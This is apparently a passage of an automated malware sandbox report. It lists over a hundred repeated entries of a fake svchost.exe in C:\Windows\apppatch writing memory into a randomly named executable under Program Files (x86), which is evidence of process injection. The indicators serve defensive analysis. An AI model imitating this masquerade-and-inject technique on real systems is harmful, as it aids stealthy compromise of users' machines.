Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 652000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FE2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1032000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 940000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 941000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 942000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 992000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F70000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F71000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: F72000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FC2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1570000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1571000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1572000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15C2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10E0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10E1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 10E2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1132000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1220000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1221000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1222000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1272000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1250000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1251000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1252000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 12A2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11B0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11B1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11B2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1202000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AC2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: B12000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1400000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1401000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1402000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1452000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14A0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14A1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14A2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14F2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1020000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1021000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1022000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1072000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1190000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1191000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1192000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11E2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1550000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1551000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1552000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15A2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A20000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A21000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A22000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A72000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CB0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CB1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: CB2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: D02000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11A0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11A1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11A2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 11F2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1340000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1341000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1342000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1392000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1580000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1581000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1582000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 15D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E10000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E11000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E12000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E62000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FD0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FD1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: FD2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1022000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 880000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 881000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 882000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 8D2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A50000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A51000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A52000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: AA2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DF0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DF1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: DF2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E42000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E90000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E91000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: E92000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: EE2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9F0000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9F1000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 9F2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: A42000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1460000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1461000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 1462000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 14B2000	Jump to behavior
Source: C:\Windows\apppatch\svchost.exe	Memory written: C:\Program Files (x86)\eaiMJtCJJEeWjpcQjzdeXhsHWCIlKXCaWrzuVmXxyPNqIVaRyxRQo\PMnAVsjMPucERAKEWNFImySCFHoLk.exe base: 13A0000	Jump to behavior
